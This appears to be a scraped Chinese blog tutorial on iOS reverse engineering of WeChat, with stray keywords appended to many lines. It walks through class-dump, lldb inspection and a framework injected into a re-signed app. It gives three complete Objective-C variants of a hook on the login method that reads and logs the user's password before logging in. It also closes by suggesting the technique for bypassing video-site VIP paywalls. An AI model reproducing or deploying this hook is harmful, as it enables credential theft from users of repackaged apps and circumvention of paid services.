本篇文章基于前两篇基础之上的 . 还没了解的同窗欢迎阅读 :面试
应用签名原理及重签名shell
这两篇文章中花了不少篇幅来说解 签名
、重签
、代码注入
等等 . 那么重签了 wx
的应用包 , 咱们到底能不能拿来调试 , 能不能看到源代码 , 或者说 , 咱们重签名了到底有什么用呢 ?微信
本篇文章咱们一块儿来探索一下 .工具
class-dump 提取码 : kjjs
post
class-dump
这个工具能够将 Mach-O
中的类的描述 copy
出来 . 能够理解成把头文件提取出来 , ( 但也不只仅是头文件 ) .网站
打开咱们下载的越狱微信 ipa
. 转 zip
解压 , Payload
- WeChat
显示包内容 , 找到 WeChat
的 Mach-O
源文件 . 复制出来到 class-dump
同路径下 .ui
cd
到这个目录下 , 执行 :spa
./class-dump -H WeChat -o ./headers/
复制代码
执行完毕 :3d
其实其原理就是 根据 Mcah-O
中类的描述 , 属性 , 方法 . 进行整理 , 而后生成 , 写入 .
咱们看到了一万多个头文件 . 这里推荐一个方便查看与搜索的工具 .
直接把 headers
文件夹拖入 Sublime
.
你就能够随意浏览了 . 后期会再考虑是否摄入汇编代码部分 .
这个需求比较简单 , 实现思路就是代码注入的方式 , Hook
注册按钮的方法 . 修改成本身的方法便可 , 就不演示了 .
咱们来演示个有点意思的.
咱们来一步步玩一下 .
准备好重签成功的工程 , 没有作代码注入的 , 就写一个 framework
, 而后 shell
脚本里 yololib
作一下. cmd + r
, run
起来.
记得检查一下 代码有没有注入成功.
来到以下页面 .
View Debug
左边选择窗口 , 选中登陆按钮 , 注意不要选中 上面覆盖的 imageview
了 , 绿的那个. 右边看 Target
和 Action
.
注意 :
笔者这里是 Xcode 11 , 所以
Target
和Action
都是地址 , 老版本的Xcode
都是直接显示类名和方法名的 , 那么怎么办呢 .lldb
.
来到 Sublime
咱们打开好的源码中 , cmd
+ shift
+ F
.
搜索结果 , 白色框直接双击来到这个文件 , 找到方法 ( onNext
).
找到这个方法 , 我有点懵逼 o((⊙﹏⊙))o , 为何呢 ? 这个方法没有参数 , 也就是说它并无把用户密码当成参数传递 , 固然咱们看属性也没有把密码当成一个属性 . 那咋办嘛 ?
由于咱们要
Hook
的是onNext
方法 , 那么在onNext
方法中 , 咱们只有self
这个隐式参数可用 . 所以咱们去找成员变量和属性 . 若是找不到 , 也能够用subView
的方式 , 最恐怖的时候 咱们甚至要经过控制链去找 .
固然这里不用那么麻烦 , 优秀的 wx
工程师的命名规范为咱们很快找到一个 这个东西.
他显然不是一个 textField
, 可是看起来和输入框有点关系 . 那咱们去看看这个类 .
cmd
+ shift
+ F
搜 @interface WCAccountTextFieldItem
textField
, 不着急 , 沿着继承链 , 找父类
WCBaseTextFieldItem
.
cmd
+ shift
+ F
搜 @interface WCBaseTextFieldItem
是否是看到了这个 tf
.
那么咱们来回顾一下 .
在 onNext
方法中 咱们经过 self._textFieldUserPwdItem.m_textField
就能够拿到输入框 , 而后再 .text
, 不就拿到用户密码了吗 ?
想通了那就开始干 ?
NO !
注意 : 在逆向调试的过程当中 , 想通了不必定表明走的通 , 那这时候若是去撸代码 , 极可能会白干.
那么怎么办呢 ? lldb
动态调试一下.
View Debug
, 找到 vc
, 拿到地址 .
valueForKey
, 找到 _textFieldUserPwdItem
, 拿到 WCUITextField
, 拿到其 text
验证经过 , 开干
打开咱们本身注入的 framework
, 来到 load
方法开始 hook
, 具体代码逻辑我就不详细介绍了 .
大概总结一下 :
将登录按钮的方法换成咱们的方法 , 在咱们拿到密码后在调用微信本来的方法继续执行 .
代码我也贴一下 .
这里若是使用 method_exchangeImplementations
有个须要注意的点 , 平时咱们大可能是在分类中作 hook
, 那么 hook
以后 , 原先的类再访问咱们本身在分类中定义的方法是没有问题的 , 由于分类自己就是扩展 在本来类的方法列表就会有这个你本身定义的方法.
可是 , 在此时咱们本身注入的 framework
就不行了 , 由于咱们把 onNext
方法的 imp
换成本身的方法 , 微信调用 onNext
来到咱们的方法实现 , 是没问题的 . 但当咱们拿到了密码想让其访问原方法 , 这个时候调用的是给 VC
发 my_onNext
的消息 , 那确定是找不到的 , 而若是是咱们正向开发使用分类就没这个问题了 , 这也是咱们为何常用分类来作 hook
的主要缘由 , 面试再碰到不要再回答 什么污染 什么效率了...
解决办法也很简单 , 这里我都给你们敲了一遍 贴出来了
class_addMethod
( 比较麻烦 )#import "InjectCode.h"
#import <objc/runtime.h>
#import <UIKit/UIKit.h>
@implementation InjectCode
+ (void)load{
NSLog(@"代码注入成功!");
//原始微信的登陆方法
Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
//添加新方法
/** * 一、给哪一个类添加方法 * 二、方法编号 * 三、方法实现(地址) */
BOOL didAddMethod = class_addMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext), new_onNext, "v@:");
//交换
method_exchangeImplementations(onNext, class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext)));
}
//方法实现IMP
void new_onNext(id self,SEL _cmd){
//拿出用户的密码
UITextField * pwd = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
NSLog(@"窃取到用户的密码是%@",pwd.text);
//登陆
[self performSelector:@selector(new_onNext)];
}
@end
复制代码
#import <objc/runtime.h>
#import <UIKit/UIKit.h>
@implementation InjectCode
+ (void)load{
NSLog(@"代码注入成功!");
//使用替换
old_onNext = method_getImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)));
class_replaceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext), new_onNext, "v@:");
}
// imp 指针 --》 8字节。
IMP (*old_onNext)(id self,SEL _cmd);
//方法实现IMP
void new_onNext(id self,SEL _cmd){
//拿出用户的密码
UITextField * pwd = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
NSLog(@"窃取到用户的密码是%@",pwd.text);
//登陆
old_onNext(self,_cmd);
}
复制代码
getImp
/ setImp
( 最简单 )#import "InjectCode.h"
#import <objc/runtime.h>
#import <UIKit/UIKit.h>
@implementation InjectCode
+ (void)load{
NSLog(@"代码注入成功!");
//getIMP 和 setIMP
old_onNext = method_getImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)));
method_setImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)), new_onNext);
}
// imp 指针 --》 8字节。
IMP (*old_onNext)(id self,SEL _cmd);
//方法实现IMP
void new_onNext(id self,SEL _cmd){
//拿出用户的密码
UITextField * pwd = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
NSLog(@"窃取到用户的密码是%@",pwd.text);
//登陆
old_onNext(self,_cmd);
}
复制代码
其实 二和三的原理就是仅仅把 微信原方法 onNext
的 imp
保存一下 , 而后换成咱们本身的 , 在调用咱们本身的方法以后再直接调用一下保存的 imp
. 是否是超级简单呢 ?
为何要讲这么多种方法呢 . 一是方便你们理解 , 另外后面咱们会介绍一个专门来作 Hook
的工具 , 这个工具大部分都是直接使用的 getIMP
和 setIMP
. 你们敬请期待吧 😆.
这里简单模拟了一个需求 , 来实现了一下 , 主要是将这种方式介绍给你们 , 能实现什么 , 你们能够本身去玩一玩 , 例如能否绕过某些视频网站开通 vip
呢 ? 或者其余想法 .
固然 , 仍是那句话 : 玩逆向 只是为了防御 .